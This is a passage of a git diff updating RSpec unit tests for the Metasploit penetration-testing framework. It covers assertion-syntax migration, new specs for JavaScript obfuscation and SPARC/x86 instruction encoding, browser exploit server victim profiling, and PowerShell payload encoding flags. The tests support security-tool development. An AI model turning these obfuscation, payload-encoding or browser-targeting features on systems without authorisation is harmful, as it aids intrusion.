=> "Mock this? Tends to need root" do end end diff --git a/spec/lib/msf/core/exploit/http/server_spec.rb b/spec/lib/msf/core/exploit/http/server_spec.rb index 84469dea4118..929d8e6f62be 100644 --- a/spec/lib/msf/core/exploit/http/server_spec.rb +++ b/spec/lib/msf/core/exploit/http/server_spec.rb @@ -6,6 +6,7 @@ require 'msf/core/exploit/http/server' describe Msf::Exploit::Remote::HttpServer do + subject(:server_module) do mod = Msf::Exploit.allocate mod.extend described_class @@ -26,6 +27,9 @@ Rex::ServiceManager.stub(:start => mock_service) end + # Ensure the class is hooks Metasploit::Concern + it_should_behave_like 'Metasploit::Concern.run' + describe "#add_resource" do it "should call the ServiceManager's add_resource" do server_module.start_service diff --git a/spec/lib/msf/core/exploit/jsobfu_spec.rb b/spec/lib/msf/core/exploit/jsobfu_spec.rb new file mode 100644 index 000000000000..718770a25b70 --- /dev/null +++ b/spec/lib/msf/core/exploit/jsobfu_spec.rb @@ -0,0 +1,61 @@ +require 'spec_helper' +require 'msf/core' +require 'msf/core/exploit/jsobfu' + + +describe Msf::Exploit::JSObfu do + subject(:jsobfu) do + mod = ::Msf::Module.new + mod.extend described_class + mod.send(:initialize, {}) + mod + end + + let (:js) do + %Q|alert("hello, world");| + end + + let(:default_jsobfuscate) do + 0 + end + + before do + subject.datastore['JsObfuscate'] = default_jsobfuscate + end + + context 'when iteration is set' do + it 'returns a ::Rex::Exploitation::JSObfu object' do + opts = {:iterations=>0} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu) + end + + it 'does not obfuscate if iteration is 0' do + opts = {:iterations=>0} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).to include js + end + + it 'obfuscates if iteration is 1' do + opts = {:iterations=>1} + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).not_to include js + end + end + + context 'when iteration is nil' do + let (:opts) do + {:iterations=>nil} + end + + it 'returns a ::Rex::Exploitation::JSObfu object' do + obj = jsobfu.js_obfuscate(js, opts) + expect(obj).to be_kind_of(::Rex::Exploitation::JSObfu) + end + + it 'does not obfuscate' do + obj = jsobfu.js_obfuscate(js, opts) + expect(obj.to_s).to include(js) + end + end +end \ No newline at end of file diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index 059f295e6d06..f3e9ddf99e51 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -364,14 +364,14 @@ def decompress(code) context 'when no_equals is false' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) - code.include?(' -e ').should be_true + code.include?(' -e ').should be_truthy code.include?(' -c ').should be_falsey end end context 'when no_equals is true' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) - code.include?(' -e ').should be_true + code.include?(' -e ').should be_truthy code.include?(' -c ').should be_falsey code.include?('=').should be_falsey end diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index aba2da467bfd..62c27f770d32 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -12,22 +12,22 @@ end let(:service_double) do - service = double("service") + service = double('service') service.stub(:server_name=) service.stub(:add_resource) service end let(:profile_name) do - "random" + 'random' end let(:expected_os_name) do - "linux" + 'linux' end let(:expected_user_agent) do - "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" + 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' end let(:exploit_page) do @@ -36,16 +36,16 @@ let(:expected_profile) do { - :source=>"script", - :os_name=>"Microsoft Windows", - :os_flavor=>"XP", - :ua_name=>"MSIE", - :ua_ver=>"8.0", - :arch=>"x86", - :office=>"null", - :activex=>"true", + :source=>'script', + :os_name=>'Microsoft Windows', + :os_flavor=>'XP', + :ua_name=>'MSIE', + :ua_ver=>'8.0', + :arch=>'x86', + :office=>'null', + :activex=>'true', :proxy=>false, - :language=>"en-us", + :language=>'en-us', :tried=>true } end @@ -58,21 +58,21 @@ server.start_service end - describe ".get_module_resource" do + describe "#get_module_resource" do it "should give me a URI to access the exploit page" do module_resource = server.get_module_resource - module_resource.should match(exploit_page) + expect(module_resource).to include(exploit_page) end end - describe ".get_bad_requirements" do + describe "#get_bad_requirements" do let(:rejected_requirements) do server.get_bad_requirements(fake_profile) end context 'when given the expected profile' do it "should not contain any bad requirements" do - server.get_bad_requirements(expected_profile).should eq([]) + expect(server.get_bad_requirements(expected_profile)).to eq([]) end end @@ -85,8 +85,8 @@ server.instance_variable_set(:@requirements, {:os_name => /win/i}) end - it "should have identify :os_name as a requirement not met" do - rejected_requirements.should eq([:os_name]) + it "identifies :os_name as a requirement not met" do + expect(rejected_requirements).to eq([:os_name]) end end @@ -104,86 +104,86 @@ context "with the regex /26\.0$/" do let(:ua_ver) { /26\.0$/ } it "should reject :ua_ver" do - rejected_requirements.should include(:ua_ver) + expect(rejected_requirements).to include(:ua_ver) end end context "with the regex /25\.0$/" do let(:ua_ver) { /25\.0$/ } it "should accept :ua_ver" do - rejected_requirements.should_not include(:ua_ver) + expect(rejected_requirements).not_to include(:ua_ver) end end context "with a Proc that checks if version is between 1-5" do let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } } it "should reject :ua_ver" do - rejected_requirements.should include(:ua_ver) + expect(rejected_requirements).to include(:ua_ver) end end context "with a Proc that checks if version is between 20-26" do let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } } it "should accept :ua_ver" do - rejected_requirements.should_not include(:ua_ver) + expect(rejected_requirements).not_to include(:ua_ver) end end end end end - describe ".init_profile" do + describe "#init_profile" do it "should initialize an empety profile for tag 'random'" do server.init_profile(profile_name) ivar_target_profile = server.instance_variable_get(:@target_profiles) - ivar_target_profile.should eq({profile_name=>{}}) + expect(ivar_target_profile).to eq({profile_name=>{}}) end end - describe ".get_profile" do + describe "#get_profile" do it "should return nil when a profile isn't found" do server.init_profile(profile_name) p = server.get_profile("non_existent_profile") - p.should be_nil + expect(p).to be_nil end - it "should return a profile if found" do + it "returns a profile if found" do server.init_profile(profile_name) p = server.get_profile(profile_name) - p.should eq({}) + expect(p).to eq({}) end end - describe ".update_profile" do - it "should update my target profile's :os_name information" do + describe "#update_profile" do + it "updates my target profile's :os_name information" do server.init_profile(profile_name) profile = server.get_profile(profile_name) server.update_profile(profile, :os_name, expected_os_name) profile = server.get_profile(profile_name) - profile[:os_name].should eq(expected_os_name) + expect(profile[:os_name]).to eq(expected_os_name) end end - describe ".get_detection_html" do - it "should return the detection code that the client will get" do + describe "#get_detection_html" do + it "returns the detection code that the client will get" do html = server.get_detection_html(expected_user_agent) - html.should_not eq('') + expect(html).not_to eq('') end end - describe ".on_request_exploit" do - it "should raise a NoMethodError if called" do + describe "#on_request_exploit" do + it "raises a NoMethodError if called" do fake_cli = nil fake_request = nil fake_browser_info = nil - lambda { + expect { server.on_request_exploit(fake_cli, fake_request, fake_browser_info) - }.should raise_error + }.to raise_error end end - describe ".get_target" do - it "should return a target" do + describe "#get_target" do + it "returns a target" do # # Using Object for Msf::Module::Target # @@ -193,8 +193,8 @@ end end - describe ".try_set_target" do - it "should try to set a target based on requirements" do + describe "#try_set_target" do + it "Sets a target based on requirements" do # # This testcase needs to be better somehow, but not sure how to actually create # a Msf::Module::Target. All we're able to test here is making sure the method @@ -207,23 +207,23 @@ end end - describe ".extract_requirements" do - it "should find all the recognizable keys" do + describe "#extract_requirements" do + it "finds all the recognizable keys" do requirements = {:os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0"} matches = server.extract_requirements(requirements) - matches.should eq(requirements) + expect(matches).to eq(requirements) end - it "should make sure the keys are always symbols" do + it "makes sure the keys are always symbols" do requirements = {'os_flavor'=>"XP", 'ua_name'=>"MSIE"} matches = server.extract_requirements(requirements) matches.each do |k,v| - k.class.should eq(Symbol) + expect(k.class).to eq(Symbol) end end end - describe '.on_request_uri' do + describe '#on_request_uri' do let(:cli) { double(:peerhost => '0.0.0.0') } let(:cookie) { '' } let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} } @@ -240,6 +240,9 @@ end context 'when a new visitor requests the exploit' do + before { JSObfu.disabled = true } + after { JSObfu.disabled = false } + it 'calls send_response once' do server.should_receive(:send_response).once server.on_request_uri(cli, request) @@ -247,7 +250,7 @@ it 'serves the os.js detection script' do server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('window.os_detect') + expect(html).to include('os_detect') end server.on_request_uri(cli, request) end @@ -278,6 +281,9 @@ let(:tag) { 'joe' } let(:cookie) { "#{cookie_name}=#{tag}" } + before { JSObfu.disabled = true } + after { JSObfu.disabled = false } + it 'calls send_response once' do server.should_receive(:send_response).once server.on_request_uri(cli, request) @@ -285,7 +291,7 @@ it 'serves the os.js detection script' do server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('window.os_detect') + expect(html).to include('os_detect') end server.on_request_uri(cli, request) end diff --git a/spec/lib/msf/core/framework_spec.rb b/spec/lib/msf/core/framework_spec.rb index 2caf144b3a9e..9c7094cced86 100644 --- a/spec/lib/msf/core/framework_spec.rb +++ b/spec/lib/msf/core/framework_spec.rb @@ -28,7 +28,7 @@ "-#{release}".should == described_class::Release end - pending "conform to SemVer 2.0 syntax: http://semver.org/" do + skip "conform to SemVer 2.0 syntax: http://semver.org/" do it "should have constants that correspond to SemVer standards" do major,minor,patch,label = subject.version.split(/[.-]/) major.to_i.should == described_class::VERSION::MAJOR diff --git a/spec/lib/msf/core/module_manager_spec.rb b/spec/lib/msf/core/module_manager_spec.rb index 9e121a31afd5..d311b07e6edf 100644 --- a/spec/lib/msf/core/module_manager_spec.rb +++ b/spec/lib/msf/core/module_manager_spec.rb @@ -19,14 +19,6 @@ describe Msf::ModuleManager do include_context 'Msf::Simple::Framework' - let(:archive_basename) do - [basename_prefix, archive_extension] - end - - let(:archive_extension) do - '.fastlib' - end - let(:basename_prefix) do 'rspec' end diff --git a/spec/lib/msf/core/modules/loader/archive_spec.rb b/spec/lib/msf/core/modules/loader/archive_spec.rb deleted file mode 100644 index c931930904c4..000000000000 --- a/spec/lib/msf/core/modules/loader/archive_spec.rb +++ /dev/null @@ -1,276 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'msf/core' - -describe Msf::Modules::Loader::Archive do - let(:archive_extension) do - '.fastlib' - end - - context 'CONSTANTS' do - it 'should have extension' do - described_class::ARCHIVE_EXTENSION.should == archive_extension - end - end - - context 'instance methods' do - let(:enabled_type) do - 'exploit' - end - - let(:enabled_type_directory) do - 'exploits' - end - - let(:framework) do - double('Framework') - end - - let(:module_extension) do - '.rb' - end - - let(:module_manager) do - # DO NOT mock module_manager to ensure that no protected methods are being called. - Msf::ModuleManager.new(framework, [enabled_type]) - end - - let(:module_reference_name) do - 'module/reference/name' - end - - subject do - described_class.new(module_manager) - end - - context '#each_module_reference_name' do - let(:disabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Auxiliary - end - EOS - end - - let(:disabled_type) do - 'auxiliary' - end - - let(:disabled_type_directory) do - 'auxiliary' - end - - let(:enabled_module_content) do - <<-EOS - class Metasploit3 < Msf::Exploit::Remote - end - EOS - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @base_path = directory - - # make a .svn directory to be ignored - subversion_path = File.join(@base_path, '.svn') - FileUtils.mkdir_p subversion_path - - # make a type directory that should be ignored because it's not enabled - disabled_type_path = File.join(@base_path, disabled_type_directory) - FileUtils.mkdir_p disabled_type_path - - # - # create a valid module in the disabled type directory to make sure it's the enablement that's preventing the - # yield - # - - disabled_module_path = File.join(disabled_type_path, "#{disabled_type}#{module_extension}") - - File.open(disabled_module_path, 'wb') do |f| - f.write(disabled_module_content) - end - - # make a type directory that should not be ignored because it is enabled - enabled_module_path = File.join( - @base_path, - enabled_type_directory, - "#{module_reference_name}#{module_extension}" - ) - enabled_module_directory = File.dirname(enabled_module_path) - FileUtils.mkdir_p enabled_module_directory - - File.open(enabled_module_path, 'wb') do |f| - f.write(enabled_module_content) - end - - Dir.mktmpdir do |archive_directory| - @archive_path = File.join(archive_directory, "rspec#{archive_extension}") - FastLib.dump(@archive_path, FastLib::FLAG_COMPRESS.to_s(16), @base_path, @base_path) - - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 and the cache won't need to be cleared as a work-around - FastLib.cache.clear - - example.run - end - end - end - - # this checks that the around(:each) is working - it 'should have an existent FastLib' do - File.exist?(@archive_path).should be_truthy - end - - it 'should ignore .svn directories' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should_not include('.svn') - end - end - - it 'should ignore types that are not enabled' do - module_manager.type_enabled?(disabled_type).should be_falsey - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should_not == disabled_type - end - end - - it 'should yield (parent_path, type, module_reference_name) with parent_path equal to the archive path' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - parent_path.should == @archive_path - end - end - - it 'should yield (parent_path, type, module_reference_name) with type equal to enabled type' do - module_manager.type_enabled?(enabled_type).should be_truthy - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - type.should == enabled_type - end - end - - it 'should yield (path, type, module_reference_name) with module_reference_name without extension' do - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - module_reference_name.should_not match(/#{Regexp.escape(module_extension)}$/) - module_reference_name.should == module_reference_name - end - end - - # ensure that the block is actually being run so that shoulds in the block aren't just being skipped - it 'should yield the correct number of tuples' do - actual_count = 0 - - subject.send(:each_module_reference_name, @archive_path) do |parent_path, type, module_reference_name| - actual_count += 1 - end - - actual_count.should == 1 - end - end - - context '#loadable?' do - it 'should return true if the path has ARCHIVE_EXTENSION as file extension' do - path = "path/to/archive#{archive_extension}" - - File.extname(path).should == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_truthy - end - - it 'should return false if the path contains ARCHIVE_EXTENSION, but it is not the file extension' do - path = "path/to/archive#{archive_extension}.bak" - - path.should include(described_class::ARCHIVE_EXTENSION) - File.extname(path).should_not == described_class::ARCHIVE_EXTENSION - subject.loadable?(path).should be_falsey - end - end - - context '#module_path' do - let(:parent_path) do - "path/to/archive#{archive_extension}" - end - - let(:type) do - 'exploit' - end - - let(:type_directory) do - 'exploits' - end - - it 'should use typed_path to convert the type name to a type directory' do - subject.should_receive(:typed_path).with(type, module_reference_name) - - subject.send(:module_path, parent_path, type, module_reference_name) - end - - it "should separate the archive path from the entry path with '::'" do - module_path = subject.send(:module_path, parent_path, type, module_reference_name) - - module_path.should == "#{parent_path}::#{type_directory}/#{module_reference_name}.rb" - end - end - - context '#read_module_path' do - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - enabled_type - end - - let(:type_directory) do - enabled_type_directory - end - - let(:archived_path) do - File.join(type_directory, "#{module_reference_name}#{module_extension}") - end - - let(:base_path) do - File.join(Msf::Config.install_root, 'modules') - end - - let(:flag_string) do - flags.to_s(16) - end - - let(:flags) do - 0x0 - end - - let(:unarchived_path) do - File.join(base_path, archived_path) - end - - it 'should read modules that exist' do - File.exist?(unarchived_path).should be_truthy - end - - around(:each) do |example| - Dir.mktmpdir do |directory| - @parent_path = File.join(directory, 'rspec.fastlib') - - FastLib.dump(@parent_path, flag_string, base_path, unarchived_path) - - # @todo Fix https://www.pivotaltracker.com/story/show/38730815 so cache from dump is correct - FastLib.cache.clear - - example.run - end - end - - context 'with uncompressed archive' do - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - - context 'with compressed archive' do - let(:flags) do - FastLib::FLAG_COMPRESS - end - - it_should_behave_like 'Msf::Modules::Loader::Archive#read_module_content' - end - end - end -end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index 12e8ecd89e5e..be7f14492c11 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -567,7 +567,7 @@ class Metasploit3 < Msf::Auxiliary it 'should restore the old namespace module' do subject.load_module(parent_path, type, module_reference_name).should be_falsey - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == @original_namespace_module end end @@ -602,7 +602,7 @@ class Metasploit3 < Msf::Auxiliary it 'should restore the old namespace module' do subject.load_module(parent_path, type, module_reference_name).should be_falsey - Msf::Modules.const_defined?(relative_name).should be_true + Msf::Modules.const_defined?(relative_name).should be_truthy Msf::Modules.const_get(relative_name).should == @original_namespace_module end end diff --git a/spec/lib/msf/core/payload_generator_spec.rb b/spec/lib/msf/core/payload_generator_spec.rb index ba53ff2cae5c..973acc525d4b 100644 --- a/spec/lib/msf/core/payload_generator_spec.rb +++ b/spec/lib/msf/core/payload_generator_spec.rb @@ -313,7 +313,7 @@ it 'returns modified shellcode' do - pending "This is a bad test and needs to be refactored" + skip "This is a bad test and needs to be refactored" # The exact length is variable due to random nops inserted into the routine # It looks like it should always be > 300 # Can't do precise output matching due to this same issue diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index f97dd5d7d487..d339394ccf3a 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ b/spec/lib/msf/db_manager_spec.rb @@ -350,14 +350,14 @@ def purge_all_module_details Mdm::Vuln.last end - its(:host) { should == Mdm::Host.last } - its(:refs) { should == [] } - its(:exploited_at) { should be_within(1.second).of(Time.now.utc) } + it { expect(subject.host).to eq(Mdm::Host.last) } + it { expect(subject.refs).to eq([]) } + it { expect(subject.exploited_at).to be_within(1.second).of(Time.now.utc) } context "with session.via_exploit 'exploit/multi/handler'" do context "with session.exploit_datastore['ParentModule']" do - its(:info) { should == "Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}" } - its(:name) { should == parent_module_name } + it { expect(subject.info).to eq("Exploited by #{parent_module_fullname} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(parent_module_name) } end end @@ -390,8 +390,8 @@ def purge_all_module_details session.via_exploit = "#{type}/#{reference_name}" end - its(:info) { should == "Exploited by #{session.via_exploit} to create Session #{mdm_session.id}"} - its(:name) { should == reference_name } + it { expect(subject.info).to eq("Exploited by #{session.via_exploit} to create Session #{mdm_session.id}") } + it { expect(subject.name).to eq(reference_name) } end context 'with RPORT' do @@ -410,11 +410,11 @@ def purge_all_module_details ) end - its(:service) { should == service } + it { expect(subject.service).to eq(service) } end context 'without RPORT' do - its(:service) { should be_nil } + it { expect(subject.service).to be_nil } end end @@ -439,16 +439,16 @@ def purge_all_module_details Mdm::ExploitAttempt.last end - its(:attempted_at) { should be_within(1.second).of(Time.now.utc) } + it { expect(subject.attempted_at).to be_within(1.second).of(Time.now.utc) } # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:session_id) { should == Mdm::Session.last.id } - its(:exploited) { should == true } + it { expect(subject.session_id).to eq(Mdm::Session.last.id) } + it { expect(subject.exploited).to be_truthy } # @todo https://www.pivotaltracker.com/story/show/48362615 - its(:vuln_id) { should == Mdm::Vuln.last.id } + it { expect(subject.vuln_id).to eq(Mdm::Vuln.last.id) } context "with session.via_exploit 'exploit/multi/handler'" do context "with session.datastore['ParentModule']" do - its(:module) { should == parent_module_fullname } + it { expect(subject.module).to eq(parent_module_fullname) } end end @@ -457,7 +457,7 @@ def purge_all_module_details session.via_exploit = parent_module_fullname end - its(:module) { should == session.via_exploit } + it { expect(subject.module).to eq(session.via_exploit) } end end end @@ -504,16 +504,16 @@ def purge_all_module_details session.via_exploit.should be_present end - its(:datastore) { should == session.exploit_datastore.to_h } - its(:desc) { should == session.info } - its(:host_id) { should == Mdm::Host.last.id } - its(:last_seen) { should be_within(1.second).of(Time.now.utc) } - its(:local_id) { should == session.sid } - its(:opened_at) { should be_within(1.second).of(Time.now.utc) } - its(:platform) { should == session.platform } - its(:routes) { should == [] } - its(:stype) { should == session.type } - its(:via_payload) { should == session.via_payload } + it { expect(subject.datastore).to eq(session.exploit_datastore.to_h) } + it { expect(subject.desc).to eq(session.info) } + it { expect(subject.host_id).to eq(Mdm::Host.last.id) } + it { expect(subject.last_seen).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.local_id).to eq(session.sid) } + it { expect(subject.opened_at).to be_within(1.second).of(Time.now.utc) } + it { expect(subject.platform).to eq(session.platform) } + it { expect(subject.routes).to eq([]) } + it { expect(subject.stype).to eq(session.type) } + it { expect(subject.via_payload).to eq(session.via_payload) } context "with session.via_exploit 'exploit/multi/handler'" do it "should have session.via_exploit of 'exploit/multi/handler'" do @@ -525,7 +525,7 @@ def purge_all_module_details session.exploit_datastore['ParentModule'].should_not be_nil end - its(:via_exploit) { should == parent_module_fullname } + it { expect(subject.via_exploit).to eq(parent_module_fullname) } end end @@ -559,7 +559,7 @@ def purge_all_module_details session.via_exploit.should_not == 'exploit/multi/handler' end - its(:via_exploit) { should == session.via_exploit } + it { expect(subject.via_exploit).to eq(session.via_exploit) } end end end @@ -647,20 +647,20 @@ def purge_all_module_details report_session end - its(:close_reason) { should == close_reason } - its(:desc) { should == description } - its(:host) { should == host } - its(:platform) { should == platform } - its(:stype) { should == session_type } - its(:via_exploit) { should == exploit_full_name } - its(:via_payload) { should == payload_full_name } + it { expect(subject.close_reason).to eq(close_reason) } + it { expect(subject.desc).to eq(description) } + it { expect(subject.host).to eq(host) } + it { expect(subject.platform).to eq(platform) } + it { expect(subject.stype).to eq(session_type) } + it { expect(subject.via_exploit).to eq(exploit_full_name) } + it { expect(subject.via_payload).to eq(payload_full_name) } context 'with :last_seen' do let(:last_seen) do opened_at end - its(:last_seen) { should == last_seen } + it { expect(subject.last_seen).to eq(last_seen) } end context 'with :closed_at' do @@ -668,11 +668,11 @@ def purge_all_module_details opened_at + 1.minute end - its(:closed_at) { should == closed_at } + it { expect(subject.closed_at).to eq(closed_at) } end context 'without :closed_at' do - its(:closed_at) { should == nil } + it { expect(subject.closed_at).to be_nil } end context 'without :last_seen' do @@ -681,11 +681,11 @@ def purge_all_module_details opened_at + 1.minute end - its(:last_seen) { should == closed_at } + it { expect(subject.last_seen).to eq(closed_at) } end context 'without :closed_at' do - its(:last_seen) { should be_nil } + it { expect(subject.last_seen).to be_nil } end end @@ -698,11 +698,11 @@ def purge_all_module_details ) end - its(:routes) { should == routes } + it { expect(subject.routes).to eq(routes) } end context 'without :routes' do - its(:routes) { should == [] } + it { expect(subject.routes).to eq([]) } end end end @@ -1504,12 +1504,12 @@ def loader.load_error(module_path, error) update_module_details end - its(:mtype) { should == module_type } - its(:privileged) { should == privileged } - its(:rank) { should == rank } - its(:ready) { should == true } - its(:refname) { should == module_reference_name } - its(:stance) { should == stance } + it { expect(subject.mtype).to eq(module_type) } + it { expect(subject.privileged).to eq(privileged) } + it { expect(subject.rank).to eq(rank) } + it { expect(subject.ready).to be_truthy } + it { expect(subject.refname).to eq(module_reference_name) } + it { expect(subject.stance).to eq(stance) } end context 'with :bits' do @@ -1554,7 +1554,7 @@ def loader.load_error(module_path, error) update_module_details end - its(:name) { should == name } + it { expect(subject.name).to eq(name) } end end @@ -1591,7 +1591,7 @@ def loader.load_error(module_path, error) update_module_details end - its(:name) { should == name } + it { expect(subject.name).to eq(name) } end end @@ -1633,8 +1633,8 @@ def loader.load_error(module_path, error) update_module_details end - its(:name) { should == name } - its(:email) { should == email } + it { expect(subject.name).to eq(name) } + it { expect(subject.email).to eq(email) } end end @@ -1671,7 +1671,7 @@ def loader.load_error(module_path, error) update_module_details end - its(:name) { should == name } + it { expect(subject.name).to eq(name) } end end @@ -1708,7 +1708,7 @@ def loader.load_error(module_path, error) update_module_details end - its(:name) { should == name } + it { expect(subject.name).to eq(name) } end end @@ -1750,8 +1750,8 @@ def loader.load_error(module_path, error) update_module_details end - its(:index) { should == index } - its(:name) { should == name } + it { expect(subject.index).to eq(index) } + it { expect(subject.name).to eq(name) } end end end diff --git a/spec/lib/msf/ui/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/command_dispatcher/db_spec.rb index 25319a54565e..a200918f6c89 100644 --- a/spec/lib/msf/ui/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/db_spec.rb @@ -74,7 +74,7 @@ " -o <file> Send output to a file in csv format", " -R,--rhosts Set RHOSTS from the results of the search", " -S,--search Search string to filter by", - "Available columns: address, arch, comm, comments, created_at, cred_count, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" + "Available columns: address, arch, comm, comments, created_at, cred_count, detected_arch, exploit_attempt_count, host_detail_count, info, mac, name, note_count, os_flavor, os_lang, os_name, os_sp, purpose, scope, service_count, state, updated_at, virtual_host, vuln_count" ] end end @@ -129,7 +129,7 @@ FactoryGirl.create(:mdm_service, :host => host, :port => 1026) end it "should list services that are not on a given port" do - pending("refs redmine ticket #4821") { + skip("refs redmine ticket #4821") { db.cmd_services "-np", "1024" @output.should =~ [ diff --git a/spec/lib/msf/util/exe_spec.rb b/spec/lib/msf/util/exe_spec.rb index 5c7a4f703834..96bf5d07318a 100644 --- a/spec/lib/msf/util/exe_spec.rb +++ b/spec/lib/msf/util/exe_spec.rb @@ -57,8 +57,8 @@ fmt = format_hash[:format] arch = format_hash[:arch] - if format_hash[:pending] - pending "returns an executable when given arch=#{arch}, fmt=#{fmt}" + if format_hash[:skip] + skip "returns an executable when given arch=#{arch}, fmt=#{fmt}" next end diff --git a/spec/lib/rex/arch/sparc_spec.rb b/spec/lib/rex/arch/sparc_spec.rb new file mode 100644 index 000000000000..ed0c5b7721b8 --- /dev/null +++ b/spec/lib/rex/arch/sparc_spec.rb @@ -0,0 +1,153 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch/sparc' + +describe Rex::Arch::Sparc do + + describe ".sethi" do + subject { described_class.sethi(constant, dst) } + + let(:constant) { 0 } + + context "when valid dst register" do + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 4 bytes length String" do + expect(subject.length).to eq(4) + end + + it "encodes a valid sethi instruction" do + is_expected.to eq("\x07\x00\x00\x00") + end + end + + context "when invalid dst register" do + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".ori" do + subject { described_class.ori(src, constant, dst) } + + let(:constant) { 0 } + + context "when valid registers" do + let(:src) { 'g5' } + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 4 bytes length String" do + expect(subject.length).to eq(4) + end + + it "encodes a valid ori instruction" do + is_expected.to eq("\x86\x11\x60\x00") + end + end + + context "when invalid src register" do + let(:src) { 'invalid' } + let(:dst) { 'g3' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + + context "when invalid dst register" do + let(:src) { 'g5' } + let(:dst) { 'invalid' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".set" do + subject { described_class.set(constant, dst) } + + context "when invalid dst register" do + let(:constant) { 0 } + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + + context "when constant <= 4095 and constant >= 0" do + let(:constant) { 0 } + let(:dst) { 'g3' } + + it "uses ori instruction" do + expect(described_class).to receive(:ori).and_call_original + is_expected.to eq("\x86\x10\x20\x00") + end + end + + context "when constant & 0x3ff != 0" do + let(:constant) { 0x1001 } + let(:dst) { 'g3' } + + it "uses set dword instruction" do + expect(described_class).to receive(:set_dword).and_call_original + is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") + end + end + + context "when other constant" do + let(:constant) { 0x1c00 } + let(:dst) { 'g3' } + + it "uses sethi instruction" do + expect(described_class).to receive(:sethi).and_call_original + is_expected.to eq("\x07\x00\x00\x07") + end + end + end + + describe ".set_dword" do + subject { described_class.set_dword(constant, dst) } + + let(:constant) { 0x1001 } + + context "when valid dst register" do + let(:dst) { 'g3' } + + it "returns an String" do + is_expected.to be_kind_of(String) + end + + it "returns a 8 bytes length String" do + expect(subject.length).to eq(8) + end + + it "encodes a valid sequence of sethi and ori instructions" do + is_expected.to eq("\x07\x00\x00\x04\x86\x10\xe0\x01") + end + end + + context "when invalid dst register" do + let(:dst) { 'error' } + + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + +end diff --git a/spec/lib/rex/arch/x86_spec.rb b/spec/lib/rex/arch/x86_spec.rb new file mode 100644 index 000000000000..8596caa86235 --- /dev/null +++ b/spec/lib/rex/arch/x86_spec.rb @@ -0,0 +1,1016 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/arch/x86' + +describe Rex::Arch::X86 do + + describe ".reg_number" do + subject { described_class.reg_number(register) } + + context "when valid argument" do + context "in upcase" do + let(:register) { "EAX" } + it { is_expected.to eq(Rex::Arch::X86::EAX) } + end + + context "in downcase" do + let(:register) { "esi" } + it { is_expected.to eq(Rex::Arch::X86::ESI) } + end + end + + context "when invalid argument" do + let(:register) { "non_existent" } + it "raises an error" do + expect { subject }.to raise_error(NameError) + end + end + end + + describe ".pack_word" do + subject { described_class.pack_word(num) } + let(:num) { 0x4142 } + + it "packs as unsigned 16 little endian " do + is_expected.to eq("BA") + end + + context "when arguments longer than 16-bit unsigned" do + let(:num) { 0x41414242 } + it "truncates" do 